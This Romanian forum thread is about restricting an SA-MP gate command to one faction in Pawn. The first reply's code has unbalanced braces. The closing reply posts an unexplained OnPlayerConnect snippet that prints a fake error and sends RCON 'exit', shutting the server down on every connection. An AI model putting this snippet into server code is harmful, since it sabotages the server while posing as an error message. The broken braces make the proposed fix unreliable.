Jump to content

Question

Posted

Va rog ajutatima sa imi creez o comanda pentru deschiderea unei porti la comanda, stiu sa creez comanda dar nu stiu sa ii pun conditia ca doar cei din factiunea "x" sa o deschida... :| . Va rog daca puteti sa ma ajutati.

Aici am comanda:

if(strcmp(cmdtext, "/closeopen", true) == 0) // In loc de comanda adaugati comanda de inchidere

    {

    MoveObject(aGate, 619.32928, -602.65906, 17.34110, 3.0);

    SendClientMessage(playerid, COLOR_BLUE , "Poarta a fost inchisa."); //Modificati textul care sa apara dupa placul vostru

    return 1;

    }

if(strcmp(cmdtext, "/gateopen", true) == 0) //In loc de comanda2 adaugati comanda de deschidere

    {

    MoveObject(aGate,619.56470, -609.34766, 17.34110, 3.0);

    SendClientMessage(playerid, COLOR_BLUE , "Poarta a fost deschisa."); //Modificati textul care sa apara dupa placul vostru

    return 1;

    }

2 answers to this question

Recommended Posts

Posted

Salut respecta modelul pe viitor si poftim comanda.

if(PlayerInfo[playerid][pMember] == 6 || PlayerInfo[playerid][pLeader] == 6)

{

[pawn]if(strcmp(cmdtext, "/closeopen", true) == 0) // In loc de comanda adaugati comanda de inchidere

    {

    if(PlayerInfo[playerid][pMember] == X || PlayerInfo[playerid][pLeader] == X)//Inlocuieste X cu idul factiunii la care vrei sa se inchida poarta.

{

    MoveObject(aGate, 619.32928, -602.65906, 17.34110, 3.0);

    SendClientMessage(playerid, COLOR_BLUE , "Poarta a fost inchisa."); //Modificati textul care sa apara dupa placul vostru

    return 1;

    }

if(strcmp(cmdtext, "/gateopen", true) == 0) //In loc de comanda2 adaugati comanda de deschidere

    {

    if(PlayerInfo[playerid][pMember] == X || PlayerInfo[playerid][pLeader] == X)//Inlocuieste X cu idul factiunii la care vrei sa se deschida poarta.

{

    MoveObject(aGate,619.56470, -609.34766, 17.34110, 3.0);

    SendClientMessage(playerid, COLOR_BLUE , "Poarta a fost deschisa."); //Modificati textul care sa apara dupa placul vostru

    return 1;

    }[/pawn]

 

 

Posted

Topic inchis , respecta modelu'.

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.